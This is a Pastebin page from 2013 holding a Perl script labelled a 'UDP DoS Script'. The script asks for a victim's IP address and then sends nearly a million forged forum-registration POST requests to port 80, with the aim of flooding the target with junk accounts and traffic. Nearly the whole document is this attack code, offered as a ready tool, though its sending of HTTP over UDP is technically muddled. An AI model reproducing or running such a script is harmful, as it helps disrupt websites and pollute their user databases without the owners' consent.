iViiRuS

perl dos script

Jul 21st, 2013
426
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3.  
  4.  
  5. print q{
  6.  
  7.  
  8.          ##############################################################
  9.          # ========================================================== #
  10.          # --------------- UDP ViiRuS DoS Script -------------------- #
  11.          # ------------- Created By Sheikh ViiRuS ------------------- #
  12.          # ========================================================== #
  13.          ##############################################################
  14. };
  15. $rand=rand(10);
  16. print "
  17. Victims IP: ";
  18. $serv = <stdin>;
  19. chop ($serv);
  20. print "Connections: ";
  21. $path = <stdin>;
  22. chop ($path);
  23. for ($i=0; $i<999999; $i++)
  24. {
  25. $name="sedXPL_".$rand.$i;
  26. $data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sedbotbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1&allow_member_mail=1&day=11&month=11&year=1985&agree=1";
  27. $len = length $data;
  28. $get1 = IO::Socket::INET->new( Proto => "udp", PeerAddr => "$serv", PeerPort => "80") || die "Cennot Connect Host, it's can be beacuse the host dosed";
  29. print $get1 "POST ".$path."index.php HTTP/1.0\n";
  30. print $get1 "Host: ".$serv."\n";
  31. print $get1 "Content-Type: application/x-www-form-urlencoded\n";
  32. print $get1 "Content-Length: ".$len."\n\n";
  33. print $get1 $data;
  34. syswrite STDOUT, "+";
  35. }
RAW Paste Data